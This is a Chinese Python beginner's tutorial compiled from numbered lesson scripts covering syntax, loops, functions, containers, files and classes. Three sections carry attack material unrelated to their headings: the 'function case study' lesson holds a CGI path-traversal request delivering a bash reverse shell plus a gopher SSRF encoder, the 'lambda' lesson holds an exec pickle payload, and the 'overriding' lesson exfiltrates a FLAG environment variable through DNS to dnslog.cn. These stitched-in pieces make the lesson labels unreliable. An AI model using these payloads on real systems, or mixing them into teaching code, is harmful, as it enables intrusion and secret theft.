py-web


py基础

前言,因为我是单个单个的py程序整合在一起的(利用脚本实现)
生成的md文本有很多问题。并且这里的知识点是基础的,不完善的
这里我们会意即可(主要是来水篇文章,bushi)
还有就是马上html5和css3还有js
以及java开发等等也会上线

1第一个py程序.py

print(“hello world”)

2第一个python小程序练习.py

#请在命令提示符这里输入“零基础,学it,就来黑马程序员”
print(“零基础,学it,就来黑马程序员”)

3python中的字面量.py

print(666)
print(13.14)
print(“黑马程序员”)

4注释.py




多行
注释

1
# 这是单行注释,建议写一个空格

5变量.py

输出结果
10
hello world
钱包还有: 10
钱包还有: 40

1
2
3
4
5
6
7
8
9
a = 10
print(a)
b = "hello world"
print(b)
print("钱包还有:",a)

money = 50
money = money - 10
print("钱包还有:",money)

6数据类型.py

字符串
整形
浮点型
type()

1
2
3
print(type("黑马程序员"))

# <class 'str'>

7数据类型转换.py

从文件中读取数字,默认是字符串,我们需要转换为数字

Int(x),将x转换成一个整数.

float(x),将x转换为浮点数
str(x),将对象转换为字符串
同前面的type,这些的都带有返回的结果,可以print或者用变量接收

1
2
3
#数字换为字符串
num_str = str(11)
print(type(num_str),num_str)#<class 'str'> 11结果

8标识符.py

标识符:

内容限定:英文、中文(少)、数字、下划线。

数字不可以用在开头

大小写敏感:完全区分

不可使用关键字:一系列的,不需要去背。同样大小写敏感。

标识符命名规范:

见名知意:

下滑线:多个单词时,非驼峰

英文字母小写:

9运算符.py

#加减乘除这些就不说了,那我字符串加字符串呢?之前一直没有想过或者问题
print(“woshi”+”mniubi”)#结果:woshimniubi,拼接到了一起

10字符串的定义方法.py

三种定义方法,单双,三引号
单引号可以内含双引号
双内含单
可以使用转义字符来将引号接触效果,变为普通字符串
如下,我直接用的话就报错了

1
2
name = "\"黑马程序员\""
print(name)

11字符串的拼接.py

不能字符串和数字型的拼接

1
2
3
4
#前面讲了,+来,我还以为没讲过,只是我忘记了
name = "黑马程序员"
fen = "fensi"
print("woshi:"+name+fen)#结果:woshi:黑马程序员fensi

12字符串格式化.py

#我们可以通过如下语法,完成字符串和变量之间的的快速拼接
name = “黑马程序员”
message = “学IT就来 %s” % name
print(message)#结果:学IT就来 黑马程序员。其中,%s表示我要占位,s表示将变量变成字符串放入占位的地方
#那刚才不支持的数字类型的拼接可以用到这里吗?
num = 123
zjnu = “henyui %s,hihi %s” % (message,num)
print(zjnu)#结果:henyui 学IT就来 黑马程序员,hihi 123

#但是上面的数字的拼接是换为了字符串格式进行的拼接,我们在这里可以%d数字进行拼接,%f浮点类型进行拼接

13字符串格式化的精度控制.py

数字11宽度限制5,结果是: 11
数字11宽度限制为1,结果是: 11
数字11.345宽度限制7,小数精度2,结果是: 11.35
数字11.345宽度限制7,小数精度2,结果是:11.35

1
2
3
4
5
6
7
8
9
10
11
12
#我们可以使用辅助符号"m.n"来控制数据的宽度和精度
#m.控制宽度,要求是数字(很少使用),设置的宽度小于数字自身,不生效
#.n,控制小数点精度,要求是数字,会进行小数的四四舍五入
#示例:%5表示将整数的宽度控制在5位,如数字11,被设置为5d,就会变成:[空格][空格][空格]11,用三个空格补足宽度
#%5.2f:表示将宽度控制为5,小数点精度为2
#小数点和小数部分也算入宽度计算。如:对11.345设置了%7.2f后,结果是【空格】【空格】11.35。2个空格补足宽度,小数部分限制为2位精度后,四舍五入为.35
num1 = 11
num2 = 11.345
print("数字11宽度限制5,结果是:%5d" % num1)
print("数字11宽度限制为1,结果是: %1d" % num1)
print("数字11.345宽度限制7,小数精度2,结果是:%7.2f" %num2)
print("数字11.345宽度限制7,小数精度2,结果是:%.2f" %num2)

14字符串格式化方式2.py

#通过语法:f”内容{变量}的格式来快速格式化”
name = “谭绍清”
num = 111
monry = 5000.1
print(f”我是{name},编号是{num},我身上的钱有{monry}”)#结果:我是谭绍清,编号是111,我身上的钱有5000.1

15对表达式进行格式化.py

11的结果是:1
1
1的结果是: 1
字符串在python中的类型是:<class ‘str’>

1
2
3
4
5
6
7
#表达式:一条具有明确执行结果的代码语句
#1+1,5*2就是表达式,因为有具体的结果,结果就是一个数字
#name="张三","张三"就是表达式。age =11+11,那么11+11就是表达式
#下面的那个很像ssti
print("1*1的结果是:%d" % (1*1))
print(f"1*1的结果是: {1*1}")
print("字符串在python中的类型是:%s" % type('我'))

16input语句.py

请告诉我你的:11
11
你是真的牛逼:22
22

1
2
3
num = input("请告诉我你的:")
print(num)
print(input("你是真的牛逼:"))

17布尔类型和比较运算符.py

#布尔类型用于表示:真和假
#掌握比较预算符用于计算:真和假
#布尔类型:True真,False假
#定义变量储存布尔类型数据,变量名称 = 布尔类型字面量
#布尔类型不仅可以通过自行定义,同时也可以通过计算来得到。也就是比较预算符及逆行比较运算得到布尔类型的结果
#主要的六类比较预算符,这里不再多叙述

18if语句的基本格式.py

#注意冒号和四个空格表示的缩进
age = 18
if age >= 18:
print(“我已经成年了”)

19案列成年人的判断.py

1.通过input语句,获取键盘输入,为变量age复制。(注意转化为数字类型)
2.通过if判断是否是成年人,满足条件则输出提示信息:
欢迎来到黑马儿童游乐场,儿童免费,成人收费
请输入你的年龄:30
您已成年,游玩需要补票10元
祝你游玩愉快

1
2
3
4
5
6
7
print("欢迎来到黑马儿童游乐场,儿童免费,成人收费")
age = int(input("请输入你的年龄:"))
if age >= 18:
print("您已成年,游玩需要补票10元")
else:
print("欢迎小朋友")
print("祝你游玩愉快")

20if-else的组合判断.py

if 条件 :
要执行的
else :
要执行的

1
#上节课我的案列已经用上了,那就这样了

21if elif else综合使用.py

1.定义一个变量,数字类型,内容随意
2.基于input语句输入猜想的数字,通过if和多次elif的组合,判断猜想的数字和心里数字是否一致
请输入第一次猜想的数字:1
不对,再猜一次:2
不对,再猜最后一次:3
sorry,全部猜错了,我想的是: 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#掌握这种使用方法完成多种条件的判断
#这个我直接使用案列来完成练习
num = 10
num1 = int(input("请输入第一次猜想的数字:"))
if num1 == num :
print("恭喜你猜对了!")
else :
num2 = int(input("不对,再猜一次:"))
if num2 == num :
print("恭喜你猜对了!")
else:
num3 = int(input("不对,再猜最后一次:"))
if num3 == num:
print("恭喜你猜对了!")
else :
print("sorry,全部猜错了,我想的是: 10")
#这个是没有问题的,但是怎么没有用到我们的相关知识,而是用到了嵌套的循环。因为py的逻辑是你有
#input在,第一个就算是错了也会进入到下一个input不断判断。当然,我的这个肯定更好
#这个也算是嵌套循环的练习了

22循环判断语句综合练习.py

案例需求:定义一个数字(110随机产生),通过三次判断来猜出数字
案例要求:
1.数字随机产生,范围1
10
2.有三次机会猜测数字,通过三层嵌套判断实现
3.每次猜不中,会提示大了或小了
提示,通过如下代码,可以定义一个变量num,变量内存储存随机数字
import random
num = random.randint(1,10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import random
num = random.randint(1,10)
num1 = int(input("请您对1~10之间的整数进行猜测,进行第一次猜测,共三次机会:"))
if num1 == num :
print("恭喜你,猜对了")
elif num1 >= num:
print("猜测结果大了")
num1 = int(input("请您进行第二次猜测,共三次机会:"))
if num1 == num :
print("恭喜你,猜对了")
elif num1 >= num:
print("猜测结果大了")
num1 = int(input("请您进行第三次猜测,共三次机会:"))
if num1 == num :
print("恭喜你,猜对了")
else :
print(f"您已猜错三次,正确数字是{num}")

else :
print("猜测结果小了")
num1 = int(input("请您进行第三次猜测,共三次机会:"))
if num1 == num :
print("恭喜你,猜对了")
else :
print(f"您已猜错三次,正确数字是{num}")


else :
print("猜测结果小了")
num1 = int(input("请您进行第二次猜测,共三次机会:"))
if num1 == num:
print("恭喜你,猜对了")
elif num1 >= num:
print("猜测结果大了")
num1 = int(input("请您进行第三次猜测,共三次机会:"))
if num1 == num:
print("恭喜你,猜对了")
else:
print(f"您已猜错三次,正确数字是{num}")

else:
print("猜测结果小了")
num1 = int(input("请您进行第三次猜测,共三次机会:"))
if num1 == num:
print("恭喜你,猜对了")
else:
print(f"您已猜错三次,正确数字是{num}")

23while循环的基础运用.py

while 条件(布尔类型,或者比较运算):
条件满足时,做的事情1
具体的案列,小妹心软,我只要表白一百次就可以成功

1
2
3
4
5
i = 0
while i < 100:
print("小美我喜欢你")
i = i + 1
print(f"这是打印的{i}次")

24while循环案列.py

求1-100的和
需求:通过while循环,计算从1累加到100的和
提示:不要忘记条件,设置确保while循环100次
确保累加的数字,从1开始,到100结束

1
2
3
4
5
6
7
i = 1
j = 0
while i < 101:
j = j + i
if i == 100:
print(f"1-100的和为{j}")
i = i + 1

25while循环猜数字.py

设置一个范围为1-100的随机整数变量,通过while循环,配合input语句,判断输入的数字是否等于随机数
·无限次机会,知道猜中为止
·每一次猜完之后,判断说数字是打了还是小了
猜完数字之后,提示猜了几次
随机数使用
import random
num = random.randint(1,100)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random
num = random.randint(1,100)
k = 1
while 1 > 0:

print("请输入你猜测的数字:")
j = int(input())
if j == num:
print(f"你猜了{k}次,第{k}次猜对了")
break
elif j <= num:
print("小了")
else:
print("大了")
print(f"你猜了{k}次没有猜对")
k = k + 1

26while循环的嵌套使用.py

向小美表白100天,每一天都会送出10朵玫瑰花

1
2
3
4
5
6
7
8
9
10
11
i = 1
while i < 100:
print(f"今天是第{i}天,准备表白......")
j = 1
while j <= 10:
print(f"送给小美的第{j}朵玫瑰花")
j = j + 1
print("小美,我喜欢你")
i = i + 1

print(f"坚持到第{i-1}天,表白成功了")

27while循环案列-九九乘法表.py

使用我们的while循环,打印九九乘法表
默认的print语句输出内容会自动换行,在即将完成的案列中,我们需要使用print语句,输出不
换行的功能,非常简单
print(“hello”,end=’’)这样就不换行了
还是说,要自己写最好
黑马这里是后面加上了一个\t功能

1
2
3
4
5
6
7
8
9
i = 1
j = 1
while i <= 9:
while j <= i:
print(f"{j}*{i}={i*j}",end=' ')
j = j + 1
j = 1
print("")
i = i + 1

28for循环的基础知识.py

基本语法还是很简单的
for 临时变量 in 待处理数据集:
循环满足条件时执行的代码(可以是数字,也可以是字符串呀等等)
(意思就是将我们的待处理的数据集一个个带入临时变量去试)

29range语句.py

对于上节课讲的待处理数据集,严格来说被称为:序列类型
序列类型指的是,其内容可以被一个个一次取出的一种类型,包括:
字符串
列表
元组
后面会详细的讲
通过学习range语句,获得一个简单的数字序列
range(num)获取一个从0开始,到num结束的数字序列(不含num本身)
如range(5)获得的就是[0,1,2,3,4]
语法2:range(num1,num2),range(5,10)取得的数据就是[5,6,7,8,9]
语法3:range(num1,num2,step)获得一个从num1开始,到num2结束的数字序列(不含num2本身)
数字之间的步长,以step为主,默认为1
如range(5,10,2)取得的数据就是[5,7,9]

30for循环临时变量作用域.py

…….

31for循环的嵌套使用.py

for循环打印九九乘法表
ok,也是自己做了出了,没有什么问题

1
2
3
4
for i in range(1,10):
for j in range(1,i+1):
print(f"{j}*{i}={j*i}",end=" ")
print("")

32continue和break的使用.py

for i in range(1,100):
语句1
continue
语句2
在这里,我们就直接进入了下一个循环,所以语句2是不会执行的,语句1会按照正常次数一直执行下去
如果是有两层循环的话,那么如果continue在内层的话,触发continue后就会继续执行内层循环
break
for i in range(1,100):
语句1
break
语句2
语句3
这样就只会执行一次语句1然后就直接执行语句3了

33循环综合案列.py

34函数的初体验.py

函数:是组织好的,可重复使用的,用来实现特定功能的代码块
已经组织好的,可重复使用,针对特定功能
为什么要使用函数,减少重复性工作,提高开发效率
案例:不适用内置函数len(),完成字符串长度的计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
str1 = "itheima"
str2 = "itcast"
str3 = "python"

count = 0
for i in str1:
count =count + 1
print(f"字符串长度{str1}的长度是:{count}")

count = 0
for i in str2:
count =count + 1
print(f"字符串长度{str2}的长度是:{count}")

count = 0
for i in str3:
count =count + 1
print(f"字符串长度{str3}的长度是:{count}")

#上面的内容过于重复了
def my_len(data):
count = 0
for i in data:
count += 1
print(f"字符串{data}的长度是{count}")

#调用
my_len(str1)
my_len(str2)
my_len(str3)

35函数的基础定义.py

掌握函数的基础定义语法
def 函数名(传入参数):
函数体
return 返回值

1
2
3
4
5
6
#定义一个函数,输出相关信息
def say_hi():
print("hi")

say_hi()
#结果:hi

36函数基础定义练习.py

有点太简单了

37函数的传入参数.py

def add(x,y):
result = x + y
print(f”x+y的值为{x+y}”)

1
2
3
4
5
6
def add(x,y):
result = x + y
print(f"x+y的值为{x+y}")

add(3,4)
#结果:x+y的值为7

38函数的参数练习.py

需求:定义一个函数,名称任意,并接受一个参数的传入(数字类型,表示体温)
在函数内进行体温判断(正常范围:小于等于37.5度),并输出如下内容
欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温!
体温测量中,您的体温是:37.3度,体温正常请进!
欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温!
体温测量中,您的体温是:39.3度,需要隔离

1
2
3
4
5
6
7
8
9
10
11
12
def tem(x):
if x<=37.5:
print(f"欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温!\n体温测量中,您的体温是:{x}度,体温正常请进!")

elif x < 35 or x > 40:
print("输入的体温错误")
else:
print(f"欢迎来到黑马程序员!请出示您的健康码以及72小时核算证明,并配合测量体温!\n体温测量中,您的体温是:{x}度,需要隔离")

tem(40)
tem(36)
tem(37.5)

39函数的返回值定义语法.py

1.掌握函数返回值的作用
2.掌握函数返回值的定义语法
通过返回值,将相加的结果返回给调用者

1
2
3
4
5
6
7
8
def add(x,y):
result = x + y
return result

r = add(1,2)
print(f"x+y的结果是{r}")
#结果:x+y的结果是3。记得返回一下我们需要的返回值
#注意:函数有了return之后,后面的内容就不执行了

40函数的返回值之None类型.py

思考:如果函数没有使用return语句返回数据,那么函数有返回值吗
实际上是:有
python中有一个特殊的字面量:None,其类型是:<class’NoneType’>
无返回值的函数,实际上就是返回了:None这个字面量
也可以主动返回:return None
用在if判断上,None等同于False
一般用于在函数中主动返回None,配合if判断做相关处理
还可以用于声明变量,比如一些变量我一开始是不需要去定义的,这种情况下就可以去用None这个来代替
name = None

41函数的说明文档.py

我们可通过添加函数的说明文档,理解函数的作用
语法如下:

1
2
3
4
5
6
7
8
9
def func(x,y):
"""
函数说明
:param x:形参x的说明
:param y:形参y的说明
:return:返回值的说明
"""
print(f"{x+y}")
return None

42函数的嵌套调用.py

1.掌握函数的嵌套调用
2.理解嵌套调用的执行流程

1
2
3
4
5
6
7
def func_b():
print("---2---")
def func_a():
print("---1---")
func_b()
print("---3---")
func_a()

43变量在函数中的作用域.py

局部变量
定义在函数体内部的变量,即在函数内部生效
在函数外部调用失败
可以使用global声明是全局变量,在函数里面

44函数的综合案列.py

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

echo;bash -c ‘bash -i >& /dev/tcp/xxx/9001 0>&1’

1
2
3
4
5
6
7
8
import urllib.parse
payload =\
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求发包所以要进行两次url编码

45数据容器入门.py

如果我想要在程序中,记录五名学生的信息,如姓名
那应该不能说,定义五个变量来记录吧
name_list = [‘man’,’bob’,’jack’,’jerry’,’marry’,’andi’]
python中的数据容器,一种可以容纳任何数据的数据类型,容纳的每一份数据成为1个元素

46列表的定义语法.py

基本语法
#字面量
[元素1,元素2,元素3]
#定义变量
变量名称 = [元素1,元素2,元素3]
#定义空列表
变量名称 = []
变量名称 = list()

1
2
3
4
#列表可以一次存储多个数据,且可以为不同的数据类型,支持嵌套
my_list = ['itheima','666',True]
print(my_list)
print(type(my_list))

47列表的下表索引.py

列表中存储的数据怎么取出来?
下标索引,从0开始,依次递增
可以反向索引。也就是从后往前
-1,-2,-3一次递减
嵌套列表的操作呢?
list = [[1,2],[3,4]]
列表[1][0]就可以被取出来了

48列表的常用操作方法.py

掌握列表的常用操作(方法)和特点
列表除了可以:
·定义
·使用下标索引取值
还提供了一系列功能:
·插入元素
·删除元素
·清空列表
·修改元素
·统计元素个数
这些都是方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#函数
def add(x,y):
return x+y
#方法
class Student:

def add(x,y):
return x+y

#函数的使用
num = add(1,2)
#方法的使用
student = Student
num = student.add(1,2)

# index方法,查询指定函数在列表的下标。语法:列表.index(元素)
# idnex就是列表对象(变量)内置的方法(函数)
my_list = ["itheima","itcast","python"]
index = my_list.index("itheima")
print(f"itheima在列表中的索引值是:{index}")
#结果:itheima在列表中的索引值是:0

#列表的修改功能
my_list = [1,2,3]
my_list[0] = 5
print(my_list)
#结果:[5, 2, 3]

#插入。语法:列表.insert(下标,元素),在指定位置的下表位置,插入指定的元素
my_list.insert(1,"itheima")
print(my_list)
#结果:[5, 'itheima', 2, 3]

#追加元素。语法:libiao.append(元素),将指定元素,追加到列表的尾部
my_list.append(4)
print(my_list)
#结果:[5, 'itheima', 2, 3, 4]

#删除元素,清空列表
my_list = ["itheima","itcast","python"]
del my_list[2]
print(my_list)
#结果:['itheima', 'itcast']
my_list.pop(1)
print(my_list)
#结果:['itheima']
my_list.remove('itheima')
print(my_list)
#结果:[]。如果是有两个itheima的话,就只删除第一个

#清空列表
my_list = ["itheima","itcast","python"]
my_list.clear()
print(my_list)
#结果:[]

#统计某元素在列表内的数量
my_list = [1,2,1,2,3]
num1 = my_list.count(1)
print(num1)
#结果:2

#len统计列表中全部元素的数量
my_list = ["itheima","itcast","python"]
num2 = len(my_list)
print(num2)
#结果:3

49列表的循环遍历.py

while和for循环遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from operator import index

my_list = ["itheima","itcast","python"]

index = 0
while index < len(my_list):
element = my_list[index]
print(f"列表的元素:{element}")

index += 1
#结果:列表的元素:itheima
#列表的元素:itcast
#列表的元素:python


for i in my_list:
print(i)

50元组的定义和操作.py

需要我们在程序内封装数据,但是又不希望被封装的数据被篡改,那么元组就非常合适了
定义元组字面量
(元素,元素,元素)
定义元组变量 = (元素,元素,元素)
定义空元组
变量名称 = ()
变量名称 = tuple()

1
2
3
4
t5 = ((1,2,3),(4,5,6))
num1 = t5[1][2]
print(num1)#结果:6
#其他的index和count和len都是可以用的

51字符串的定义和操作.py

数据容器脚下的字符串
字符串同样也是数据容器的一员
从前向后,从0开始
同元组一样,字符串是一个无法修改的数据容器
字符串的替换:
语法:字符串.replace(字符串1,字符串2)
功能:将字符串内的全部:字符串1,替换为字符串2
注意:不是修改字符串本身,而是得到了一个新的字符串
字符串.split(按照什么字符进行切割)。然后返回一个列表
字符串.strip(),字符串的规整操作,去除前后空格
string.strip(字符串),去前后指定字符串。“12dgsuahd21”,传入12就可以去掉12和21.划分为两个小字符,都给切除了
可以传参,也可以不用传参,这里就代表这个函数是有默认值的
.conut和.len都是可以的

1
2
3
4
my_str = "itheima and itcast"
value = my_str[2]
print(value)
print(my_str.index('and'))

52数据容器(序列)的切片.py

序列是指:内容连续、有序、可使用下表索引的一类数据容器
列表、元组、字符串,均可以视为序列
切片语法:序列[起始下标:结束下标:步长]

53集合的定义和操作.py

定义集合字面量{元素,元素,元素}
变量名称= {元素,元素,元素}
变量名称=set()空集合
集合是无序的,所以集合不支持下表索引访问
但是集合和列表一样,是允许修改的.add添加
.remove是移除
,pop就是随机取出来一个了

1
2
3
4
5
6
7
8
9
10
11
set1= {1,2,3}
set2={1,2,4}
set3=set1.difference(set2)
print(set3)
#消除两个集合的差集
# set1.difference_update(set2)
# print(set1)
set4=set1.union(set2)
print(set4)
for i in set4:
print(i)

54字典的定义以及常用操作.py

字典的定义,同样使用{},不过是一个个的键值对
{key:vaule,key:value}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mydict1={"w":99,"zhou":100,"li":88}
mydict2= {

}
mydict3= dict()
#不可以使用下表索引,但是可以通过ket值取得对应的value
#key不可为字典,但是value就没有什么限制了。就表明,可以嵌套
#字典的常用操作字典[key]=value,就是新增也是更新
#.pop就是删除.clear就是清空字典。.keys就是获取所有的字典,能够实现遍历
#字典不支持下标索引,所以不支持while循环
#len这些也是可以用的
my_dict= mydict1.keys()
for key in my_dict:
print(f"字典的key值为:{key}")
for key in my_dict:
print(f"2字典的key是:{key}")

55函数的多返回值.py

如果一个函数有两个return。只会执行一个,原因是return可以退出当前函数,导致return下面的代码不会再执行

1
2
3
4
5
def test_return():
return 1,2
x,y= test_return()
print(x)
print(y)

56函数的多种参数使用形式.py

位置参数:之前一直在使用的
关键字参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
#关键字参数
def user_info(name,age,gender):
print(f"您的名字是:{name},年龄是{age},性别是:{gender}")
user_info("小明",age=20,gender="男")
#函数调用时,如果有位置参数时,位置参数必须在关键字参数的前面,但关键字参数之间不存在先后顺序
#缺省参数概念和演示
def user_info1(name,age,gender="男"):
print(f"您的名字是:{name},年龄是{age},性别是:{gender}")
user_info1('xiaotian',13)
#不定长参数的概念和演示,*args元组类型,**kwargs字典形式,传参需要以键值对的形式来进行传参
def user_info(*args):
print(args)
user_info('TOM')

57函数作为参数传递.py

我们学习的函数本身,也可以作为参数传递

1
2
3
4
5
6
def test_func(compute):
result=compute(1,2)
print(result)
def compute(x,y):
return x+y
test_func(compute)

58lambda匿名函数.py

import pickletools

data=b”\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b’1’\nkey2=b’2’q\x01\x85q\x02Rq\x03.”
pickletools.dis(data)
#
#0: \x80 PROTO 3
#2: c GLOBAL ‘builtins exec’
#17: q BINPUT 0
#19: X BINUNICODE “key1=b’1’\nkey2=b’2’”
#43: q BINPUT 1
#45: \x85 TUPLE1
#46: q BINPUT 2
#48: R REDUCE
#49: q BINPUT 3
#51: . STOP
#highest protocol among opcodes = 2

59文件编码概念.py

计算机只能识别0和1,使用编码技术将内容翻译成0和1存入
记录了如何将内容翻译为二进制,并如何翻译回来
一般使用UTF-8的编码方式进行编码

60文件的读取操作.py

文件可以分为文本文件,视频文件,音频文件等等
open(name,mode,encoding),可以打开一个已经存在的文件,或者创建一个新文件
name:是要打开文件的目标文件名的字符串(可以包含文件所在的具体路径)
mode:设置文件打开的模式:只读,写入,追加
encoding:编码格式(推荐使用UTF-8)
代码示例:
f=open(‘python.txt’,’r’,encodingUTF-8)
#encoding的顺序不是第三位,所以不能使用位置参数,用关键字直接指定
此时的f是open函数的文件对象,对象是python中的一种数据类型
w模式:打开一个文件只用于写入。如果该文件已存在则打开文件,并从头开始编辑,原有内容会删除。如果该文件不存在,创建新文件
a:打开一个文件用于追加。如果该文件已存在,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入
r:只读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import time

#打开文件
f=open('1.txt','r',encoding='UTF-8')
# print(type(f))
#读取文件read()
#文件对象.read(num),num表示从文件中读取数据的长度(单位是字节),如果没有传入num,那么就表示文曲文件中所有的数据
#readlines()方法,可以按照行的方式把整个文件中的内容进行一次性读取,并且返回的是一个列表,其中每一行的数据为一个元素
# print(f.read(10))
# print(f.read())
#会有一个记录,下一个read会在上一个read的结尾处往后读取
# line=f.readlines()
# print(type(line))
# print(line)
#但是没有内容,因为前面的read已经影响到了,有个小的指针会有影响
#readline方法,一次读取一行内容
#for循环读取文件行
# i=0
# for line in f:
# i=i+1
# print(f"第{i}行数据line对象{line}")
#文件的关闭
#这个时候文件就删除不了
# time.sleep(50000)
# f.close()
#withopen操作,会自己close
with open('1.txt','r',encoding='UTF-8') as f:
for line in f:
print(f"每一行数据是{line}")

time.sleep(5000)

61文件读取练习.py

read再count(“itheima”)的这种方式

62文件的写入操作.py

f=open(‘test.txt’,’w’,encoding=”UTF-8”)
f.write(‘hello world’)
f.flush()
f.close()
#close是内置了flush方法的

#最后一步就是将内容写入硬盘,之前都是写在内存当中

63文件的追加写入操作.py

只要将模式替换为a就可以了,没有很多的差别

64了解异常.py

bug

65异常的捕获.py

为什么捕获异常?提前假设某处会出现异常,做好提前准备,当真的出现异常的时候,可以有后续手段
try:
可以发生错误的代码
except:
如果出现异常执行的代码
捕获指定异常:except NameError as e:这个就是异常的对象
捕获多个异常:except(NameError,ZeroDivisionError):
捕获全部异常:except Exception as e:
异常的else和finally语法:
else:没有异常时执行的代码
finally:有无异常都要去执行的一个代码

66异常的传递性.py

比如有好几个函数嵌套在一起时,会捕获到这个异常,这个就是异常的传递性

67模块的概念和导入.py

常见的组合形式:
import 模块名
from 模块名 import 类,变量,方法等
from 模块名 import *
import 模块名 as 别名
from 模块名 import 功能名 as 别名

1
2
3
4
# import time
# time.sleep(10)
# print('666')
#这种方法基本就够用了,并且还是挺好的

68自定义模块并导入.py

1
2
3
4
5
6
7
8
import my_module1
my_module1.test(10,20)
#导入两个模块,同一个功能名的话,后面的会覆盖前面的
#并且import的时候,此时,无论是当前文件,还是其他已经导入了该模块的文件,在运行的时候都会自动执行`test`函数的调用
#__main__变量,输入main回车就可以了。导入的时候就不会再执行了
#__all__变量,如果一个模块文件中有`__all__`变量,当使用`from xxx import *`导入时,只能导入这个列表的函数。
#这里的示例就是test_A函数可以使用
#如果不是*这个所有的符号的意思,而是执行了test_B那就是可以用的了

69自定义python包.py

什么是py包,就是一个文件夹,在该文件夹下包含了一个__init__.py文件,该文件夹用于包含多个模块文件。从逻辑来看,包的本质依然是模块

70安装第三方包.py

C:\Users\31349>pip install numpy
Requirement already satisfied: numpy in d:\python\lib\site-packages (2.2.1)

[notice] A new release of pip is available: 24.3.1 -> 25.1.1
[notice] To update, run: python.exe -m pip install –upgrade pip
这个不多说,遇到过了很多次了

71异常-模块-包综合案列.py

72json数据格式.py

本质上是负责不同编程语法中的数据传递和交互
可以是
{“name”:”admin”,”age”:”18”}
[{“name”:”admin”,”age”:”18”},{“name”:”admin1”,”age”:”128”}]

1
2
3
4
5
6
7
8
9
import json
#准备复合json格式的数据
data=[{"name":"老王","age":16},{"name":"张三","age":20}]
#转化为json方法
json_str=data=json.dumps(data,ensure_ascii=False)
#ensure_ascii=False有了这个就能正常显示中文
print(json_str)
#把json数据转化为python数据
data=json.loads(data)

73初识对象.py

设计类,创建对象,对象属性赋值

1
2
3
4
5
6
7
8
9
10
11
class Student:
name=None
gender=None
nationality=None
native_place=None
age=None
stu1= Student()
#既是对象也是变量
stu1.name="林jun杰"
stu1.gender="nan"
print(stu1.name)

74类的成员方法.py

掌握类的定义和使用语法
掌握成员方法的使用
掌握self关键子的作用
上一节中,我们简单了解到可以使用类去封装属性,并基于类创建出一个个的对象来使用
现在我们来看看类的使用语法
class 类名称:
类的属性:即定义在类中的变量(成员变量)
类的行为:即定义在类的函数(成员方法)
创建类对象的语法:对象=类名称
这个self是必须存在的,它用来表示类对象自身的意思
当我们使用类对象调用方法时,self会被python传入
在方法内部,想要访问类的成员变量,必须使用self
比如需要传参的时候,我们可以当作self不存在,可以不用理会self

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Student:
name=None
age = None
def say_hi(self):
print(f"Hi大家好,我是{self.name}")

def say_hi2(self,msg):
print(f"大家好,我是:{self.name},{msg}")

stu= Student()
stu.name="xiaodaigua"
stu.say_hi()

stu2=Student()
stu2.name="linjijie"
stu2.say_hi2("小伙子,我看好你")

75类和对象.py

这节课基本就是一些概念的理解。。。

76构造方法.py

python类可以使用:init()方法,称之为构造方法
可以实现:
在创建类对象(构造类)的时候会自动执行
在创建类对象(构造类)的时候,将传入参数自动传递给__Init__方法使用

1
2
3
4
5
6
7
8
9
10
11
12
class Student:
name= None
age=None
tel=None
def __init__(self,name,age,tel):
self.name=name
self.age=age
self.tel=tel
print("Student类创造了一个对象")

stu= Student("周杰伦",31,"174827489")#构建类对象时会自动执行
print(stu.name)

77魔术方法.py

掌握几种常见的魔术方法
使用str
def str(self):
return f”name={self.name}”,这个时候打印stu,结果大概就是Student类对象,name=什么
其他的魔术方法就不看了,没有reduce这种的

1
2
3
4
5
6
7
8
9
10
class Student:
def __init__(self,name,age):
self.name=name
self.sge=age

stu=Student("周杰伦",11)
print(stu)
#这个时候打印出来的是<__main__.Student object at 0x000001C3F8FC7230>
print(str(stu))
#<__main__.Student object at 0x00000249D2587230>

78封装.py

面向对象包含三大主要特性:
封装
继承
多态
封装就是:类中提供了私有成员的形式来支持
私有成员变量
私有成员方法
私有成员变量:变量以__开头
私有成员方法:方法名以__开头,即可完成私有成员的设置
私有成员无法被类对象使用,但是可以被其他的成员使用,就是自己这个类里面的可以用

79继承的基本语法.py

class Phone:
IMEI=None
producer=”HM”

def call_by_4g(self):
    print("4g通话")

class Phone2022(Phone):
face_id =”10001”
def call_by_5g(self):
print(“666”)

phone=Phone2022()
#属性这些就可以用了
#python,一个类可以继承多个父类
#class MyPhone(类名1,类名2,类名3)这样就可以了,不想再添加新的功能一个pass就可以了
#类的名字一样的话,后面的会覆盖前面的

80复写和调用父类成员.py

import os
import socket
flag=os.environ[‘FLAG’]
socket.getaddrinfo(flag.replace(‘{‘, ‘’).replace(‘}’, ‘’) + ‘.uhgxr3.dnslog.cn’, 0)

81变量的类型注解.py

